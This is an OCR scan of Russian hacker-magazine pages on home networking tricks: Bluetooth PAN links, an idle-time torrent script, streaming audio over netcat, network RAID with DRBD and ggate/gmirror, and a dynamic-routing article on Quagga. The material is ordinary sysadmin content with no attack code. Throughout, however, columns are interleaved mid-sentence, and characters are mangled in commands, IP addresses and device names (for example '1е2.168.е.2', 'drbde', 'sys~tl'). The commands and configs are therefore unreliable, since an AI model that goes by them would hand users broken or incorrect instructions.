• /5 • • • • /us r / laca_l / biJ1/tryconnect . sh Вот и все. И не нужно никаких костылей в виде netwoгk-manageг

address= 192 . 1Б8 . 0.25

и ему nодобных. При необходимости в скрипт можно добавить строки

netmask=255.255 .255.0

для nодключения к РРРоЕ/ РРТР-серверу или установки соединения с

gateway= 192.1Б8 . 0.1

ЗG-модемом с помощью wvdial.

dns1= 195 . Б2 . 99 . 42 dns2= 195.Б2 . 97.177

~

BLUETOOTH-CETb

Беспроводные сети обычно организуют с использованием технологий

[work] description=work

Wi-Fi, которые обеспечивают хо рош ую зону покрытия и высокие ско­

address= 10.1Б . 3.114

рости. Но что если такой способ соединения тебе не подходит ? До­

netmask=255 .255 .255.0

пустим, ты хо чешь без правадов выйти в интернет со старого ноутбука

gateway= 10 . 1Б . 3.249

или у тебя в данный момент нет ни точки доступа, ни Wi-Fi-aдaптepa

dns1= 195 . Б2 . 99 . 42

для стационарного ком па . В этом случае тебя с па сет старый добрый

Bluetooth, который хоть и имеет малую зону покрытия, но стоит копейки [ровно два доллара за китайский USB-Biuetooth-aдaптepl и

1

работает стабильно. Стек nротоколов Bluetooth имеет стандартную возможность

передачи IР-пакетов, которая поддерживается как в Linu x, так и в

ВSD-системах. Она реализована как часть профиля PAN [Регsопаl

switchto.conf[+]

Агеа Netwoгking] , использующего протокол BNEP [Biuetooth Netwoгk

Encapsulation Pгotocoll .

nример конфигурации

quickswitch

ХАКЕР

126

www.epidemz.net

12/155/2011


Сетеваяакробатика

В Linux nодключение организуется следующим образом:

1.

На машине, которая должна служить шлюзомвинтернет или nросто сервером, заnускается демон

pand, который слушает под­

ключения от других устройств :

$ sudo

2.

pa~d

-listen -role NAP

На этой машине настраивается сетевой интерфейс ЬперО, создан­ ный демоном рапd :

$ sudo ifconfig bnepe

3.

192.168.е.1

На машине-клиентезапускается рапd в режиме клиента и на­

страивается сетевой интерфейс bnepO !М АС-адрес можно узнать с помощью команды

hcitool sсап для обнаружения Bluetooth-

ycтpoйcтв):

> deluge-coпsole help add - Add а torreпt cache - Show iпformatioп about the disk cache coпfig - Show апd set coпfiguratioп values coпnect- Соппесt to а пеw deluge server. debug - ЕпаЫе апd disaЬle debuggiпg del - Remove а torreпt exit- Exit from the clieпt. halt - Shutdowп the deluge server. help - displays help оп other commaпds iпfo - Show iпformatioп about the torreпts pause - Pause а torreпt plugiп - Мапаgе plugiпs with this commaпd quit - Exit from the clieпt. recheck - Forces а recheck of the torreпt data resume - Resume а torreпt rm - Remove а torreпt Fo~

$ sudo pand -connect МАС-адрес-шлюза $ sudo ifconfig bnepe 1е2.168.е.2 $ sudo route add default 192.168.е.1

help

оп а

Список функций клиента

specific

commaпd,

deluge, которыми

use

"<commaпd>

--help"

можно управлять из консоли

Теперь компьютеры могут свободно обмениваться пакетами, но,

чтобы обеспечить клиента доступом к интернету, на шлюзе необходи­ мо включить форвардинг па кетов и настроить

ленного клиента для твоего торрент-канала. Их следует объединить в

NAT:

одном скрипте как показано ниже:

$ sudo $ sudo -о

sys~tl

-w net.ipv4.ip_forward=1 iptaЫes -t nat -А PQSTROUTING \ ethe -j MASQUERADE

# vi /usr/local/bin/autotorren~.sh

#! / bin} bash

То же самое можно проделать и в операционной системе FгeeBSO:

1.

На шлюзе и клиенте запускаем демон

sdpd , который отвечает за

обнаружение других Bluetooth-ycтpoйcтв и сервисов , и загружаем

модуль с реализацией Bluetooth-cтeкa:

# kldload ng_ubt # /etc[ rc.d}sdpd start

2.

На машине-шлюзе запускаем Ырапd в режиме сервера:

# ifconfig tape create # btpand -i tape -s NAP

# ifcoпfig_ tape 192.168.е.1 пetmask 255.255.255.е

3.

На машине - клиенте запускаем его в режиме клиента:

# # # #

4.

ifcqnfig_tape create btpand -d ubte -i tape -s NAP -а МАС-адрес-шлюза ifconfig tape 192.168. е. 2 netmask 255.255. 255. е route _add default 1g2.168.e.1

Чтобы подсоединиться к и нету, включаем перенаправление

# Время бездействия (в миллисекундах)J по истечении # которого запускается закачка IDLE=12eeee # Коман~а на остановку закачки STOPCMD= "transmission-remote -5" # Команда на запуск закачки STARTCMD= "tran_sl!!ission- remote .: .:;''_ # STOPCMD="deluge-console pause \*" # STARTCMD="delugecconsole resume \ *" STOPPED= "yes" while true; do i f [ ' xprintidle' -gt $IDLE ]; then i f [ $STOPPED = "yes" ]_; then $STARTCMD STOPPED= "no" fi else i f [ $STOPPED = "по" J_;_then $STQPCMD STOPPED= "yes" fi fi sleep 6е dQne

сетевых па кетов и настраиваем NАТ: Переменные

STOPCMO и STARTCMO являются в этом скрипте

ключевыми. В них необходимо вставить команды на остановку и

# sysctJ пet.iпet.ip.forwarding=1 # ipfw add nat 123 all from tune to any

запуск торрент-клиента. Кстати , чтобы пример с

deluge заработал,

нужно запустить демон deluged. Для автоматического запуска просто Для опознавания МАС-адресов устройств можно использовать

помести ссылку в -/.coпfig/autostaгt:

следующую команду:

# :J.n -s /usr/bin/deluged

# hccontroJ -n ubtehci iпquiry

EJ

АВТОМАТИЧЕСКИЙ ЗАПУСК ТОРРЕНТ-КЛИЕНТА ВО ВРЕМЯ ПРОСТОЯ МАШИНЫ

в

-1. cqnfjg/autostart

ПРОБРОС АУДИО НА ДРУГУЮ МАШИНУ ALSA для управления

В комплект утилит

звуковой подсистемой

Это легко сделать с помощью двух простых инструментов: шейпера

входит простая программа агесогd, предназначенная для записи

трафика tгickle, работающего как пользовательский процесс , и уда-

аудио с микрофона . Она мало кому нужна, совершенно банальна

ХАКЕР

127

12/155/2011

www.epidemz.net


SYN/ACK

и, на первый взгляд, не имеет отношения к нашей статье . Но, если объединить ее с

netcat,

можно добиться довольно интересных

Чтобы создать зеркало между двумя хостами, необходимо выпол­ нить следующие действия:

результатов. Например, создать простейшую VоiР-систему из двух

1.

машин:

калируемых данных. Разделы не обязательно должны быть одина-

Выделить на каждой машине новый раздел под хранилище зер­

ковыми, в любом случае общий объем сетевого хранилища будет машина-1$

netcat -1 -р 5555 1 aplay машина-2% arecord 1 netcat IР-машины-1 5555

·

равен объему самого маленького иэ них. Создать разделы можно

с помощью fdisk/cfdisk или графического GNU Paгted. Последний, помимо всего прочего, позволяет сдвинуть уже существующие раз­

Теперь все аудио с микрофона машины-2 будет попадать в колон­

делы, чтобы освободить место.

Допустим, с этой задачей ты справился, и у тебя теперь есть два

ки машины-1. После настройки обратного потока получится полно­

ценный телефон. Звук на первую машину также можно выводить не

раздела:

с микрофона, а непосредственно со звуковой платы. Это необходимо

Один из этих разделов будет главным, а второй подчиненным, и

sda5

на машине

192.168.0.1

и

sda7

на машине

192.168.0.2.

для создания местного радио в домашней сети, когда композиции

сейчас самое время распределить эти роли.

проигрываются на сервере, а основная машина выступает в роли

две машины не могут одновременно получить доступ к сетевому

акустической системы.

разделу, доступ nри этом предоставляется только mаstег-машине.

Чтобы сменить источник звука, добавим в

ALSA

новый псевдоде­

DRDB

устроен так, что

Разумеется, в качестве mаstег-машины лучше выбрать ту, которую

ты планируешь чаще всего использовать для обращения к сетево­

вайс, который копирует основной аудиовыход:

му разделу.

$ vi .asoundrc рст.сору {

2.

Далее следует создать конфигурационный файл, описывающий

наше зеркало . Тут ничего сложного нет, достаточно взять уже готовый пример и просто изменить следующие поля: shaгed-secгet

type plug slave { рст hw

-это параль на доступ к разделу,

disk-

имя младшего раздела на

обеих машинах, addгess- сетевой адрес каждой машины . Пример этого конфига выглядит так:

route_policy

сору

# vi /etc/drbd.conf

} Теперь организуем трансляцию с этого устройства в сеть с по­ мощью агесогd и

машина-2

в

netcat:

$ arecord -D

RAID1

сору 1

netcat

IР-машины-1

5555

global { usage-count по; } соттоn { syncer { rate 1еем ; } } resource re { protocol С; startup { wfc-tiтeout 15 ;

ПО СЕТИ

degr-wfc-tiтeout бе ;

Напоследок я бы хотел сегодня рассказать о создании сетевых RАID­

net

массивов. Это широко известная среди сисадминов фишка, которую

craт-hтac-alg

sha1;

обычные пользователинезаслуженно обходят своим вниманием.

shared-secret

"ПАРОЛЬ" ;

Дело в том, что сетевой RАID-массив может стать отличным хранили­

щем для важных данных в тех случаях, когда обычный RАID-массив

оп

реализовать нельзя.

Возьмем, к примеру, следующую ситуацию . У тебя дома

есть две Linux/BSD-мaшины, которые используются для раз­ ных целей и, может быть, даже находятся в разных комнатах, но при этом объединены в локальную сеть . Есть некоторый

}

объем данных, который для тебя важен, и ты не хочешь его

оп

потерять.

Настройка обычного RАID-массива потребует покупки дополнительного жесткого диска и, может быть, RАID­

контроллера [если, например, в одном из компав стоит материнка с устаревшим

node1 { device /dev/drbde; disk /dev/sda5; address 192.158 . е.1 : 7788~ тeta-disk internal; node2 { device /dev/drbde; disk /dev/sda7; address 192.158 . е.2 : 7788 ; тeta-disk internal;

IDE и оба канала уже заняты], а то и

вовсе окажется невозможной [когда компы опломбированы или вместо них используются ноутбуки или мультимедийные

приставки]. В этом случае можно сделать одну простую вещь:

После правки необходимо скопировать конфиг на обе машины

выделить на каждой машине небольшой раздел и настроить

и установить на них инструменты управления DRВD-устройством.

зеркалирование между ними. Тогда, даже если одна из комнат

Обычно они входят в состав па кета dгbd-utils или dгbd8-utils.

сгорит вместе с компом, данные в целости и сохранности

останутся на другой машине!

3.

Все это довольно легко реализуется на практике. С

2009 года в Linux входит драйвер для виртуального устройства DRBD [Distгibuted Replicated Block Device], позволяющий создать зеркало между двумя

Теперь можно инициализировать хранилище с помощью утилиты

dгbdadm:

#

drbdadт create-тd

drbde

блочными устройствами, представить его в виде виртуального блоч­ ного устройства и при монтировать, организовать файловую систему и, в общем-то, спокойно работать, как с обычным дисковым разделом.

Эту операцию необходимо проделать на обеих машинах. После

этого также на обеих машинах нужно запустить DRBD-cepвиc:

Модуль с этим драйвером есть в любом дистрибутиве, поэтому зер­ калирование можно настроить между машинами с любыми версиями

# /etc/init.d/drbd start

Liпux.

ХАКЕР

128

www.epidemz.net

12/155/2011


Сетевая акробатика

> dгbdadm

cгeate-md

drbd0

v08 Magic numbeг not found md_offset 30005817344 al_offset 30005784576 bm_off~et 30004867072 Found ext2 filesystem which uses 190804004 kB cuггent configuгation leaves usaЫe 29301628 kB Device size would Ье tгuncated , which would соггuрt data and гesult in 'access beyond end of device' еггогs. You need to eitheг * use exteгnal meta data (гecommended) * shгink that filesystem fiгst * zего out the device (destгoy the filesystem) Opeгation гefused .

Command 'drbdmeta

/dev/dгbd0

v08 /dev/sda4

inteгnal cгeate-md'

teгminated

with exit code 40

dгbdadm aboгting Что nроисходит nри nовторной инициализации DRВD-массива

Стартовый скрипт сам подключит все ноды [кстати, вручную это делается с помощью команды dгbdadm up all), и нам оста нется толь ко указать

DRBD

имя блочно го устройства, экспортируемого подчиненным узлом :

на mаstег-машину, чтобы он знал, от куда выполнять

192.168.0.2 RW /dev/ad0s1d

всю дальнейшую синхронизацию.

4.

Файл /etc/gg.expoгts на мастер-машине должен содержать адрес и

Переходим на mаstег-машину и сообщаем

DRBD,

кто есть кто:

На подчиненном узле, в свою очередь, необходимо запустить демон-сервер

#

ggate,

который принимает подключения с мастера :

drbdadm primary all #

ggated

По сле этого производится первичная синхрониза ци я разделов . Е е

ход записы ва ется в файл /ргос/dгЬd.

Теперь возвращаемся на мастер-хост и импортируем блочное устройство nодчиненной машины:

5.

Наше хранилище готово. Теперь можно создать на виртуальном

DRВD-устройстве файловую систему и примонтировать ее:

# #

#

ggatec create 192.168.100.2 /dev/ad0s1d По сле этого будет создано новое блочное устройство, имя которо ­

mkfs.ext4 / dev /dr bd0 mount [ dev/ drbd0 / mnt

го появится на экране [имена назначаются в возрастающем порядке, поэтому ты должен увидеть

Отныне все данные, записываемые в каталог

/mnt, автоматически

ggateO) . Чтобы настроить зеркалиро­

вание, осталось объединить ранее созданный дисковый раздел

передаются на вторую машину. Информация останется на ней да же в

мастер-хоста [пусть это будет /dev/ad0s1 d) с разделом /dev/ggateO в

том случае, если mаstег-машина выйдет из строя. Кстати, в этом слу­

RА101-массив с помощью gmiггог :

чае будет до стат оч но назначить мастером др угую машину и спокой но

#

смонтировать диск .

gmirror

lаье1

-v

prefer gm0 ggate0 ad0s1d

Во FгeeBSD описанная выш е процедура реализуется еще проще. Здесь все завязано на GЕОМ-класс

ggate,

котор ы й nозволяет экс­

портиро вать блочные устройства по сети, и GЕОМ-класс gmiггог

-

софтверн ую реализацию

RAID 1.

При объединении этих классов

можно добиться такой же функциональности, как у

DRBD

в

Linu x.

Обрати внимание, что локальный диск здесь указан последним.

Так он получит больший приоритет, а значит: а) станет мастером, б) при записи и чтении алгоритм ба л ансировки ргеfег в сегда будет вы­ бирать его первым .

Теперь виртуальный зеркальный д иск/разд ел можно инициализи­

Делается это очень и очень просто, без использования конфигов, с помощью нескольких команд.

Как и в случае с

DRBD,

ровать и подключить :

каждая машина должна иметь пустой раз­

дел. Желательно, чтобы эти разделы бы ли одинакового размера. Н а каждой машине должны быть загружены нужные нам GЕОМ-классы:

# #

# #

fsck -t ufs Jpev/mirror/gm0. mount / dev/ mjrro r/gm0 / mnt

l:l§!:lai!UD

kldloaq_geom_mirror kldload geom_gate

В этой статье мы рассмотрели только малую часть тех приемов, к которым можно прибегнуть в UN I Х-системах, если проявить немного

Кроме того, обе машины должны иметь таблицу экспорта

ggate

с оnисанием узлов, с которых импортируются блочные устройства .

ХАКЕР

смекалки и внимательно вчитываться в таn-страницы. На зтом все, удачи и больших аптаймов! :х:

129

12/155/2011

www.epidemz.net


SYN/ACK

Сергей «gгiпder>> Яремчук lgгindeг!atux.in.ual

. . . . . инамим

ДИНАМИЧЕСКАЯ МАРШРУТИЗАЦИЯ В

LINUX

При решении поставленной задачи может возникнуть множество вопросов: например, используются ли оба канала одновременно и

следует ли распределять нагрузку или второй [резервный) исполь­ зуется только по мере необходимости? Включать ли второй канал только при повышении нагрузки или он необходим всегда? Нужно

сеть

ли подключать оба канала к одному маршрутизатору? Соответ­ ственно, и решать эту задачу придется по-разному. В самом просто м случае можно написать небольшой скрипт, который при запуске через сгоп будет пинговать

IP

и в случае его н едаступ н ости пере­

страивать таблицы. Шаблон такого ск рипта легко найти поиском по запросу «скри пт для проверкидоступности провайдеров ».

ИСПОЛЬЗУЕМ ДИНАМИ­

ЧЕСКИЙ РОУТИНГ ПРИ

ПОДКЛЮЧЕНИИ К РАЗ­

НЫМ ПРОНАЙДЕРАМ Сложная сетевая структура с несколькими точками под­

-

Сайт проекта

BIRD-

bjrd.network.cz .

ключения к интернету-не

Сайт проекта

Quag-

редкость даже для относи­

ga- ~.

тельно небольшой органи­

Документация

зации, поэтому при адми­

!Шl!l.ш.

Quagga- ~

нистрированиитакихсетей всегда нужно быть готовым

Найти все RFC можно на caйтeltl!&rg.

дера весь трафик должен автоматически перенаправ­

ляться на запасной выход. Традиционная статическая маршрутизация в такой си­ туации усложняет админи­

ядро с параметрами

CONFIG NEТLINK, CONFIG- RTNEТLINK и CONFiG IP MULTICAST. - -

шлюз часто необходимо

Динамическая маршрути­ зация устраняет необходи­ мость в этом.

#echo "1_ISP" » /etc/iproute2/rt_taЫes #echo "2_I.SP" » /etc/iprg_yJ;e2/rt_taЫes . #ip route add 192.168.1.8/24 dev eth8 src \ 192.168.1.2 taЬle 1_ISP #ip route add default via 192.168.1.1 taple 1_ISP #ip route add 192.168.8.8/24 dev eth2 src 192.168.8.2 \ taЬle 2_ISP #ip route add default via 192.168.8.1 tаЫе 2_ISP #ip rule add from 192.168.1.2 tаЫе 1_ISP #ip rule add from 192.168.8.2 tаЫе 2_ISP #ip route add default scope global nexthop via \ 192.168.1.1 dev eth8 weight 1 \ nexthop via 192.168.8.1 dev eth2 weight 1 Но такой способ не всегда выручает, ведь в сложных сетях придется переключать маршрут в нескольки х точка х. Значит, нужно продумать и то, как вернуть настройки обратно, когда все

-

RIP, 05PF, BGP, IGRP, EIRGP, 15-15

и ряд более экзотических. Такие

протоколы позволяют маршрутизаторам самостоятельно опреде­

лять оптимальный маршрут и сообщать друг друг у информацию об актуальной топологии сети, загрузке и ширине канала, а в случае н едаступнести одного из узлов- автоматически коррек­

тировать таблицы маршрутов . Их использование избавляет ад­ мина от какой-либо ручной работы, а значит, уменьшает вероят­

Quagga каждый

протокол

отдельным

сервером.

Все команды,

перестраивать все вручную.

192.168.0.2 и 192.168.1.2- адреса локальных интерфейсов, а 192.168.0.1 и 192.168.1.1-данные провайдера) :

ность ошибки . Для начала приведем характеристики протоколов :

обслуживается

перенаправления на один

[где

вает целый зоопарк протоколов динамической маршрутизации: Для последующей установки Quagga необходимо собрать

В

стрирование, ведь в случае

ченным к одному роутеру, можно при помощи такой команды

восстановится. В то же время большинство раутеров поддержи­

к внештатным ситуациям.

При отказе одного правай­

Можно реализовать схему и через ipгoute2. Например, по­

пер еме нно отправлять трафик к разным провайдерам , подклю­

вводимые в консоли,

RIP [Routing lnformation Protocoll- впервые появился на В 50 и долгое время не рассматривался как стандарт. На сегодня это один из самых простых и легко конфигурируемых протоколов

маршрутизации, который вполне подходит для небольших и средних сетей . В качестве метрики маршрутизации исполь зуется

количество переходов [хапав, отангл. hope). Маршрутизаторы каждые

30 секунд выбрасывают в сеть всю свою таблицу,

показы­

сразу же вступают

вая количество ха пав до каждой сети . Каждый маршрутизатор на

в силу.

основеполученныхданныхстроитмаршруты[пехthор)ивыбирает

В каталоге /usг/ shaгe/doc/quagga/

tools доступно несколько вспомогательных

скриптов .

кратчайший. В больших сетях

RIP нехило засоряеттрафик. Коли­ 15. Если роутер не отвечает в

чество хапав не может превышать т е чение

16 и

180 секунд, то количество хапав до него приравнивается

к

маршрут отмечается как нерабочий. Для протокола характер­

но зацикливание и образование << черных дыр», чтоустраняется за счет ограничения обновлений в обратном направлении . В

настоящее время актуальны версии

R1Pv2 [RFC 24531 и RIPng [nод­

держивает 1Pv6). Исполь зует 520/UDP.

130

ХАКЕР

www.epidemz.net

12/155/2011


Динамим сеть

Terminal

OSPF !О реп Shortest Path First)- протокол, основанный на тех­ нологии отслеживания состояния канала lliпk-state techпologyl и алгоритме Дейкстры для определения кратчайшего пути

lперебираются всеточки и вычисляется оптимальный путь! . Смежные маршрутизаторы обмениваются данными о состоянии канала, на основании которых строятся таблицы. Всем процес­

сом у правляютвыделенный

DR IDesigпated гouteгl и резервный BDR IBackup Desigпated Routeгl. Используется несколькотипов

оповещения о состоянии канала и типов зон. Обмен данными

происходит по 89/IP. Последняя версия описана в RFC 232Вiв нескольки х RFC даны расширения типов!. EIGRP IEnhanced lnteriorGatewayRouting Protocol) -усовер­ шенствованная версия редко используемого протокола

Cisco.

IGRP от

~аИn

~ма

.аид

n2ИtK

IepминiUI

,Слравка

grinder@grinder - s cat /etc/quagga/debian. conf # # If this option is set the /etc/init.d/quagga script automatically loads # the config via "vtysh -Ь" when the servers аге started. # Check /etc/ pam. d/quagga if you intend to use "vtysh " ! #

vtysh enaЫe=yes zebra- options=" --daemon ospfd- options= " -- daemon bgpd options=" --daemon ospfбd options="- -daemon ripd options=" -- daemon ripngd options="--daemon isisd options=" --daemon ~rindёr>!grinder - S 1

-А -А -Д -А -д -А -Д

127.0.0.1 -u quagga -- keep kernel --retain" 127.0.0.1 -u quagga" 127 . 0.0.1 " ::1" 127.0.0.1 " : :1" 127.0.0 . 1"

На выбор маршрута влияют задержки в сети, полоса про­

пускания, загруженность. Уступает

05PF в

скорости, но более

пр ост и функционален в настройке.

BGP IBorderGateway Protocol, 179/ТСР)- предназначен не для

В

deblan.conf редактируем параметры заnуска демонов

обмена данны х между отдельны ми маршрутизаторами !как

и 15-151, а для управления целыми сетями IA5, Autoпomous 5ysteml. Он обычно <<и нтересен » в том случае, когда выкуплен диапазон IP, хотя в некоторых сценариях можно использовать и

демон zеЬга lcore daemonl, в задачу которого входят в том числе

<<сер ые » адреса.

перестройка таблицы маршрутизации, установка статических

маршруты в разветвленных сетях . В

маршрутов и предоставление

Отсюда можно сделать вывод, что для решения наших задач нужен маршрутизатор, поддерживающий протоколы иногда и

BGP. Найти

RIP, 05PF, а

такой маршрутизатор несложно, ведь сегод­

Quagga

на каждый протокол

выделяется отдельный демон, а общее управление осуществляет

API.

Такая схема позволяет при

необходимости легко добавить поддержку другого протокола. Проблему одновременного управления несколькими демонами решает терминал

vtysh,

который выступает в качестве прокси для

ня даже некоторые модели нижнего ценового диапазона умеют

пользовательских команд при подключении к со кету каждого за­

работать как минимум с

пущенного процесса

При этом такую систему можно со­

RIP.

брат ь самому при помощи любого

*nix.

Для поддержки динамиче­

Quagga . Консоль vtysh идентична Cisco CLI, Cisco, все команды будут знакомы,

поэтому для тех, кто работал с

ской маршрутизации требуется дополнительно установить соот­

а все вышесказанноевнекоторой степени применимои к марш­

ветствующее ПО . На сегодняшний день известно несколько таких

рутизаторам этой фирмы .

приложений . Например, OpeпBGPD/Opeп05PFD lopenbgpd.oгgl предлагает реализацию протоколов

BGPv4 и 05PF для ОрепВ50 . Их поддержка доступна в ОС с версии 3.5/3.7. Чтобы активировать

Пакет

Quagga

доступен в репазитариях больши нства ди стри­

бутивов Liпux, портах

*B5D

и Open5olaгis . В Ubuпtu достаточно

ввести :

ее, д ос тат очно включить IР-форвардинг.

$ sudo apt-get

vi /etc/sysctl.conf net.inet.ip.forwarding=l

insta_Ц qy;~ggg_

#

Итак, все установлено . Перейд ем к настройкам, без которых ничего работать не будет. Конфигурационные файлы находятся

Затем нужно прописать настройки в /etc/ospfd.coпf или

ospf6d .conf,

в /etc/quagga. Пакет поддерживает множество настроек, все

используя имеющиеся в качестве шаблона.

параметры расписаны в документации на сайте, посвященном

В други х *nix lв том числе и Liпuxl нашу задачу можно решить с помощью одного из двух па кетов, которые поддерживают дина­

па кету: quagga .net/doc. Запуск демонов !т о есть поддерживаемы х протоколов! прописывается в файле /etc/quagga/daemoпs. По

мические протоколы маршрутизации:

умолчанию все отключено . Далее нам понадобится только

BIRD IBIRD lnteгnet Routing Daemon, Ьiгd . nеtwогk.сzl-под­ держивает статическую маршрутизацию и протоколы Rl Pv2, BGPv4, 05PFv2/v3, имеетфункции мягкой переконфигурации и отличается мощным языком филырации маршрутов.

Quagga lquagga.пetl- поддерживает статическую маршрути­ зацию, а также протоколы BGPv4 и v4+, RIP v1/v2/v3, RIPпg, 05PF v2/v3 и 15-15.

05PF:

$ sudo nano /etc/quagga/daemons zebra=y_es ospf.d=yes_ bgP..d.=IJP .... #. протокол OSPF для IPvб ospfб_d=nP

Это наиболее популярные сегодня решения, которые позволяют

ripd=no # протокол _RIPng

превратить компьютер в полнофункциональный маршрутизатор.

ripлgc!"no

Эти пакеты можно найти в репазитариях большинства дистрибу­

isisd=no_

IPvб

тивов , поэтому проблем с установкой не будет. Вместо

УСТАНОВКА

QUAGGA

В

UBUNTU LINUX

Пакет был создан на основе программы которой приостановилась в

2005

GNU

yes

или по можно использовать цифровые значения,

показывающие приоритет:

ZеЬга, разработка

году, а точнее на основе версии

снеофициальными патчами Zebгa-pj. Компьютер с установ­

1 !самый вы сокий приоритетl-10 !са­

мый низкий приоритетl или О !отключено!. Список ТСР-портов, на которых демоны слушают подключе­

ния, можно узнать в /etc/seгvices:

ленным

Quagga может служить полноценным раутером или отражателем маршрутов IRoute Reflectoгsl. Последняя функция характерна для протокола

BGP,

спикера lspeakeгl по умолчанию не передаются дальше . Акти­ вация

RR

позволяет обойти это ограничение, то есть реализует

подход, аналогичный

ХАКЕР

DR

и

BDR

$ greP. zeQra _/etc/services

в котором маршруты от одного

в

05PF,

позволяя резервировать

В процессеработы часто возникает необходимость коррек­ тировать настройки демонов без перезапуска, поэтому в

Quagga

используется два способа изменения настроек . Начальные

131

12/155/2011

www.epidemz.net


SYN\ACK nrmlnal

nараметры nередаются nри nомощи конфигурационного файла , а в о время работы можно nередавать команды наnрямую, nод­

ключаясь в teгminal

mode.

Чтобы установки сохранялись в файле

~ This file te\\s the quaggo pockage which doemons to staгt.

и восстанавливалась nри nерезагрузке, необходимо nодnравить

~ Entrles are in the formot: <daell0n>•(yeslnolpr1or1ty) ~ в, ~ по - • disвbled

/e tc /quagga /debian .co nf !его считывает стартовый с криnт /etc/ init .d/quaggal, добавив в строку за n уска демонов ·- -keep_keгnel '

~ Read /usr/share/doc/quagga/ README.OeЫan for details.

и ·--гetain'.

~ ~·.~у~:· : ~~~:~'~,~~~~~~~r

~ Sample con11gurat1ons tor these daemons c:an Ье found in /usr/share/doc/ quagga texaмptes/. AПENТION:

$ sudo nano /etc/quagga/debian.conf vtysh_enaple=yes zebra_options=" --daemon -А 127.8 .8 .t -u quagga \ --keep_kernel --retain" ospfd_options= " --daemon -А 127 .8 .8 .1 -u quagga"

When activatlon а daemon at the flrst t111e, а contlg file, even 11' 1t is empty, has to Ье present •and• Ье owned Ьу the user and group • quagga •, e\se the deemon wltt not Ье steгted Ьу /etc/lnlt.d/quegga. The per1111sslons shou\d Ье U•ГW,Q•Г,O•.

When uslng - vtysh" such а conflg fHe ls atso netdtd. It shou\d bt owned Ьу gгoup ~queooavty- .and set to uo• rw,o• thouoh. Check /etc/pefD.d/quaog.a, too. ebr.a•yes gpd•no spfd•yesl Spfбd•ПO

Для каждого демона указаны режим работы

IР -адр ес, на котором он nринимает команды nомощью строки

vtys h_enable

'--daemon' и 1'-А 127.0.0.1'1. С

мы акти в ировали уnравление с

rlpd•no rlpnod•no slsd•no 11 Помо!Чь

"} • =~~

1

I Зеnмсать

"ПtrmlnaiBwposняa

Чм тt.аМ.n ·",;;•;;; "';,;':_._

1 Сnе.о,Стр

11

11 Вwре,.ать

Пре.о.Стр

_

111

ОtмВwрок

О С1

Текnо,мц

Cnosepa

.

-. Aнrn ~ iJ' 4 чте. 13 акт. 11:30

консоли. Для соз дания уче тн ой заnиси, от имени которой буд ут работать демоны, исnользуется

·-u quagga'. В

системе она уже

Активируем nротоколы, которые будет поддерживать

Quagga

соз д ана :

'hrmiNI

$ grep quagga /etc/passwd quagga :x:117: 128 :Quagga routing suite,,, : / var / run / quagga{:/ bin /fa lse В се готово, осталось д ать задание д емонам .

П ос л е уста н овки в к аталог е /usг/shaгe/doc/quagga/examples находим шаблоны конфигов д емо н ов, коnируем нужные в требуе­ мое место:

$ sudo ер -v / usr/s hare/ doc/ quagga/examples/zebra.conf. sample \ /etc/ quagga/zebra.conf $ sudo~ еР -v / usr/s har~/ doc / quagga / examples /os pfd.conf.sample \ /etc/ quagga/ ospfd.conf $ sudo ер -v / usr/share/ doc/ quagga/examples/vtysh.conf.sample \ /etc/quagga/vtysh.conf

~

[)рнu

JIМA

Команда

$ sudo chown quagga:quagga / etc / quagga /ze bra.conf $ sчФ chown quagga:quagga /etc/q uagga /ospfd.conf

list показывает nолный

описание

и

netstat-ant указывают,

что соо тв етст в ующие nроц ессы заnущены и д емоны слушают nорты.

В конфигах nроnисываются наборы команд, выnолняемых nри старте. По син та ксису они совnадают с теми, которые вводятся в консоли

vtysh . Для

или<<#». Начн ем с

название шлюза

параль для

для

расчета

cost

можно

! !

статический маршрут по умолчанию (вместо адреса можно указать интерфейс)

ip route 8.8.8.8/8 11.22 . 33, 44 журнал, каталог / var/log/quagga ! владелец/ группа - quagga : quagga

J1Олжен быть создан

обозначения комментариев служат знаки«!»

zebra.conf:

hostname Router1 ! параль для vty password pass1 !

bandwidth

mult ic ast

log file

реж има а.дминистрирования

/var/log/quagga/z~b ra.log

В ospfd.coпf п о умолчанию сня т коммента рий лишь со с тр ок

$ sudo nano /etc/quagga/zebra . conf !

помощи

задать ширину канала в Кб / сек

В nоследней строке nеречисляются демоны, которые будут

quagga

интерфейсов

установка флага многоадресной рассылки при

gгер

сnисок nараметров

interface lo interface eth8

Quagga .

Starting Quagga daemons (prio:18): zebra ospfd.

1

су6. 15 Омт. 15:11

enable password pass2

$ sudo __ _service quagg<J r estart

ps aux

~

~'

!

работать. Команды

18pМMIW'I

О мenu ~

Обязательно меняем влад ельца:

Теnерь можно заnускать

r\glкll

show ip forw.ardino show ip ospf show lp ospf border - гouters show ip ospf datebase show ip ospf database (asbr· summaгy 1externat 1networkl routeг 1summaгy 1nssa-extern.at 1opaque-l.ink 1opllq ue-arealopaque-as) (sett-or1g1natell show ip ospf datebase (asb r -suiМiary 1externat 1networkl router 1sull\lllary 1nssa-externat 1opaque-Hnk lopaq ue-.arealopaque -as) A.S.C.O show lp ospf detabese lasbr-summary 1externat 1networkl routerl su!lllll&ry 1nssa-externat 1opaque- Hnk 1opaq ue-erealopaque-as) А . В.С.О (setf-or1o1netel) show lp ospf detabase (asbr-summarylexternat 1networkl routerlsufМiary 1nssa -externat 1opaque-Hnkl opaq ue-areaJopaque-as) А.В.С.О adv-router А.В.С.О show lp ospf datobase (asbr· SU1111118ГYI externa\ 1network 1router 1summery 1nsse-externet 1opaque - \lnkl opeq ue -e гeelopeque - es) edv-routeг A.B.C.D show lp ospf datebase (esbr- summ.ary 1externa11 network 1гouter 1su!IIIDary 1nssa -externa\ 1opaque-link 1opaq ue-eree!opeque -es lmax -aoe 1set f - or1g1nete) show lp ospf lnterf.ace llNTERFACEJ show ip ospf nelghbor show lp ospf neighbor А.В.С.О (} show ip ospf neighbor IFNAНE U show ip ospf neighbor IFNAНE detai t show lp ospf ne1ohbor att show lp ospf nelohbor detaH show ip ospf neiohbor detaH att show lp ospf route show ip prefix - Hst show ip pref!X · \1st WORO show 1р pref1x·t1st WORD A.B.C.D/M show 1р prefix - Hst WORD A.B.C.D/H flrst -ma tch show lp pref1x-t1st WORO A.B.C.D/M tonger show lp preflx· \1st WORD seq <l-4204067295> show lp preflx· Hst detaH show ip prefix ·\1st detal\ WORD show ip pretix· tlst summeгy show lp preflx· \1st sufМ'\ary WORD show ip protocot

установки пароля.

$ sudo nano /etc/quagga/ospfd.conf !

включаем

router ospf

132

ХАКЕР

www.epidemz.net

12/155/2011


Динамим сеть

